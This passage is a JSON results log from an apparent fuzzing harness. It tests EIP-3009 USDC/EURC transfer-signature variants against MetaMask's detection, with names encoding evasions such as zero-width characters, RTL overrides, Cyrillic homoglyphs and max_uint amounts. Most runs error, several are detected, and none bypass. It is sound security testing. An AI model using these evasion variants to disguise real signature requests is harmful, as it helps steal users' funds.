"ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-carriage_return-alternating-just_now-max-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-EURC-ideographic_space-hex_max-narrow_1hr-all_ones-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-leading_space-unicode_digits-standard-zero-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-zwsp-hex_max-max_uint-mixed_case_hex-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-nbsp-leading_zeros-just_now-random-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-nbsp-padded_64-max_uint-leading_zeros_nonce-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-long_256-leading_zeros_many-max_uint-leading_zeros_nonce-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-ideographic_space-numeric_max_safe-max_uint-alternating-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-USDC-ideographic_space-numeric_small-leading_zeros_ts-all_ones-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-newline-hex_1m-far_future-max-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-bidi_isolate-dust_1-far_future-all_ones-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-leading_space-hex_1m-far_future-all_a-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-newline-trailing_zeros-just_now-half_and_half-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-null_byte-padded_64-max_uint-alternating-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-rtl_override-half_max-far_future-mixed_case_hex-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-ltr_override-max_uint-past_2020-zero-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-EURC-bom-dust_1-past_2020-max-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-leading_space-zero-far_future-random-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-long_1024-one_million-narrow_1hr-random-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-escape-one_million-narrow_1hr-random-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-leading_space-half_max-numeric_ts-all_ones-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-nbsp-unicode_digits-year_2100-mixed_case_hex-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-thin_space-max_uint_minus_1-leading_zeros_ts-all_ones-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-cyrillic_o-round_100k-past_2020-all_ones-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-thin_space-hex_short-just_now-random-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-word_joiner-very_large-standard-leading_zeros_nonce-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-zwnj-alternating-year_2100-mixed_case_hex-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-bom-one_million-just_now-all_ones-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-newline-dust_1-just_now-zero-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-USDC-combining_mark-one_million-standard-sequential-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-null_byte-hex_short-leading_zeros_ts-leading_zeros_nonce-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-nbsp-alternating-past_2020-all_ones-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-cyrillic_e-hex_short-numeric_ts-leading_zeros_nonce-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-cyrillic_a-one_million-just_now-max-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-bidi_isolate-max_uint-narrow_1hr-sequential-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-nbsp-hex_mixed_case-far_future-sequential-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-ideographic_space-alternating-standard-max-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-ideographic_space-hex_max-numeric_ts-sequential-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-ltr_override-max_uint-just_now-all_a-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-USDC-thin_space-one_million-past_2020-random-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-ideographic_space-alternating-leading_zeros_ts-sequential-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-thin_space-leading_zeros-year_2100-all_a-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-cyrillic_e-round_100k-just_now-max-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-zwnj-numeric_max_safe-far_future-all_ones-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-standard-trailing_zeros-leading_zeros_ts-sequential-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-long_1024-numeric_small-standard-all_a-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-cyrillic_a-hex_max-narrow_1hr-zero-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-newline-hex_max-standard-half_and_half-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-zwj-leading_zeros_many-max_uint-half_and_half-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-bom-round_100k-just_now-zero-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-invisible_separator-half_max-year_2100-alternating-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-long_1024-max_uint_minus_1-past_2020-half_and_half-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-escape-very_large-past_2020-max-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-escape-padded_64-max_uint-mixed_case_hex-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-ideographic_space-padded_64-max_uint-all_a-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-zwnj-numeric_max_safe-max_uint-random-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-newline-leading_zeros_many-past_2020-zero-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-long_256-dust_1-just_now-max-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-escape-round_100k-year_2100-alternating-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-invisible_separator-repeating-far_future-all_a-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-backspace-max_uint_minus_1-numeric_ts-half_and_half-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-tab-hex_short-leading_zeros_ts-alternating-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-tab-max_uint-far_future-alternating-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-nbsp-leading_zeros_many-max_uint-max-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-long_1024-half_max-standard-max-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-long_256-padded_64-narrow_1hr-sequential-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-long_1024-hex_mixed_case-leading_zeros_ts-sequential-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-leading_space-trailing_zeros-leading_zeros_ts-sequential-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-null_byte-padded_64-narrow_1hr-random-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-long_256-hex_max-year_2100-random-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-thin_space-unicode_digits-numeric_ts-leading_zeros_nonce-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-leading_space-dust_1-just_now-half_and_half-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-EURC-nbsp-dust_1-standard-mixed_case_hex-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-bom-one_million-numeric_ts-mixed_case_hex-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-softhyphen-padded_64-past_2020-sequential-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-combining_mark-padded_64-max_uint-max-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-cyrillic_a-one_million-far_future-mixed_case_hex-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-zwj-very_large-year_2100-all_a-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-backspace-alternating-standard-alternating-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-cyrillic_o-numeric_small-max_uint-random-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-thin_space-round_100k-past_2020-all_ones-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-cyrillic_o-padded_64-year_2100-all_ones-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-softhyphen-very_large-past_2020-mixed_case_hex-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-ideographic_space-zero-just_now-random-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-zwsp-very_large-standard-all_ones-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-rtl_override-very_large-year_2100-zero-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-long_256-numeric_small-year_2100-half_and_half-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-combining_mark-unicode_digits-standard-alternating-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-combining_mark-round_100k-past_2020-mixed_case_hex-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-cyrillic_o-hex_max-past_2020-max-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-softhyphen-trailing_zeros-max_uint-all_ones-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-escape-hex_short-far_future-max-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-USDC-thin_space-hex_mixed_case-standard-half_and_half-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-invisible_separator-trailing_zeros-past_2020-all_a-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-carriage_return-trailing_zeros-numeric_ts-sequential-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-leading_space-hex_max-standard-zero-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-carriage_return-hex_max-past_2020-all_ones-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-bom-trailing_zeros-year_2100-max-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-word_joiner-unicode_digits-just_now-max-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-long_256-alternating-year_2100-half_and_half-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-cyrillic_e-numeric_small-max_uint-random-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-rtl_override-max_uint-just_now-leading_zeros_nonce-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-trailing_space-max_uint_minus_1-far_future-all_ones-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-rtl_override-max_uint-year_2100-all_a-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-cyrillic_o-dust_1-leading_zeros_ts-alternating-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-zwsp-half_max-numeric_ts-alternating-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-bidi_isolate-one_million-past_2020-all_a-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-null_byte-hex_max-just_now-alternating-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-newline-hex_1m-far_future-leading_zeros_nonce-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-ideographic_space-hex_max-narrow_1hr-random-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-backspace-round_100k-just_now-alternating-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-tab-max_uint-far_future-zero-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-combining_mark-zero-standard-mixed_case_hex-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-long_1024-hex_1m-standard-all_a-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-long_256-leading_zeros-numeric_ts-all_a-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-zwnj-padded_64-far_future-alternating-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-empty-numeric_max_safe-year_2100-leading_zeros_nonce-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-trailing_space-trailing_zeros-numeric_ts-all_ones-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-word_joiner-max_uint-max_uint-half_and_half-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-EURC-zwnj-half_max-numeric_ts-half_and_half-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-escape-hex_1m-max_uint-zero-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-bom-round_100k-past_2020-all_ones-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-leading_space-numeric_small-max_uint-zero-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-newline-unicode_digits-numeric_ts-half_and_half-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-cyrillic_a-max_uint-numeric_ts-leading_zeros_nonce-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-ltr_override-hex_short-year_2100-max-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-cyrillic_a-alternating-far_future-all_ones-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-softhyphen-hex_mixed_case-just_now-zero-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-long_1024-hex_max-narrow_1hr-all_a-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-invisible_separator-one_million-leading_zeros_ts-leading_zeros_nonce-lowercase-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-zwnj-zero-far_future-sequential-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-nbsp-one_million-max_uint-mixed_case_hex-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-carriage_return-numeric_max_safe-max_uint-half_and_half-checksum-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-thin_space-trailing_zeros-just_now-zero-mixed_case-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, 